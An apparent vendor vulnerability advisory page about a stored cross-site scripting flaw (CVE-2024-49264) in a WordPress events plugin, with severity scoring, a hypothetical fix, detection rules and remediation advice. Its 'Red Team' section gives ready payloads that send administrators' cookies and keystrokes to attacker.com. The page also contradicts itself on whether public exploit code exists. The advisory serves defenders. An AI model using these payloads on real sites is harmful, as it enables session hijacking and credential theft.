☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Nicheaddons logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-49264

CVE-2024-49264 Cross-Site Scripting in Nicheaddons
📅 PUBLISHED: 2024-10-17 20:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-49264 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Events Addon for Elementor by Nicheaddons. The vulnerability exists in versions up to and including 2.2.0. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into event-related fields, which will be stored and executed in the browsers of other users (including administrators) when they view the compromised event page. This can lead to session hijacking, credential theft, or defacement. No public exploit code or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to site owners who have installed the plugin directly from the WordPress dashboard or via manual upload. No supply chain compromise of the plugin’s distribution mechanism has been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker needs a contributor-level account or higher.
  • User Interaction: Required (UI:R) – The victim must visit the compromised page.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Limited modification of content possible.
  • Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature and lack of patch make it a persistent threat for affected sites.

Deep Dive & Mechanics

The vulnerability resides in the events-addon-for-elementor plugin, which extends the Elementor page builder with event management capabilities. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it on the frontend.

Root Cause: The plugin uses functions like sanitize_text_field() or wp_kses_post() incorrectly, or omits output escaping (e.g., esc_html(), esc_attr()) when displaying event data such as titles, descriptions, or custom fields. This allows an attacker to inject HTML and JavaScript payloads.

Attack Flow:

  1. An attacker with contributor-level access (or higher) creates or edits an event using the Elementor editor.
  2. In a field that is not properly sanitized (e.g., event title, description, or a custom meta field), the attacker inserts a payload like <script>alert('XSS')</script>.
  3. The plugin stores the malicious input in the wp_postmeta or wp_posts table.
  4. When an administrator or other user views the event page, the payload executes in their browser context.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

// In a template file or shortcode handler
echo '<h2>' . $event_title . '</h2>';

Patched Code (PHP):

// Properly escape output
echo '<h2>' . esc_html( $event_title ) . '</h2>';

The vulnerable code directly echoes user-controlled data without escaping. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the Events Addon for Elementor plugin (version <= 2.2.0) installed and activated.
  • A user account with at least Contributor role.

Steps:

  1. Log in to the WordPress admin panel as a Contributor.
  2. Navigate to Events > Add New.
  3. In the event title field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Publish the event.
  5. Send the event URL to an administrator (e.g., via email or internal messaging).
  6. When the administrator views the event, their session cookie is exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    new Image().src = 'https://attacker.com/log?key=' + e.key;
});
</script>

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual event creation or editing activity by low-privileged users.
  • Look for event titles or descriptions containing <script>, <iframe>, or onerror= patterns.
  • Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.

Prevention:

  • Immediately disable the plugin if no patch is available.
  • Implement a Content Security Policy (CSP) header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
    
  • Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add virtual patching for known XSS vectors.

Indicators of Compromise (IOCs)

  • File System: Look for modified plugin files in /wp-content/plugins/events-addon-for-elementor/ – especially template files that may have been altered to inject malicious code.
  • Database: Search for posts with post_type = 'event' containing <script> tags in post_title or post_content.
  • Logs: Web server logs showing requests to /wp-admin/post.php with action=edit and post_type=event from non-admin users.
  • Network: Outbound connections to unknown domains from the WordPress server (potential data exfiltration).

Detection Engineering

YARA Rule

rule CVE_2024_49264_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Events Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49264"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Events Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via event creation in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_type=event'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in event descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49264 Stored XSS Payload in Event Title"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=event"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete the Events Addon for Elementor plugin until a patch is released.
  2. Audit existing events – Scan all event posts for malicious content using the YARA rule above.
  3. Change all user passwords – Especially for administrator accounts, as they may have been compromised.

Long-Term Fix:

  • Monitor the plugin’s official page for a patched version (>= 2.2.1).
  • Apply the patch as soon as it becomes available.
  • Consider switching to an alternative, actively maintained event plugin.

Virtual Patching (if plugin cannot be disabled):

  • Add the following rule to your WAF (e.g., ModSecurity):
    SecRule REQUEST_URI "/wp-admin/post.php" "chain,id:1001,deny,status:403,msg:'Stored XSS attempt blocked'"
    SecRule ARGS:post_type "event" "chain"
    SecRule ARGS:post_title "@rx <script" "t:urlDecodeUni"
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Events Addon for Elementor"
http.html:"events-addon-for-elementor"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-49264/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.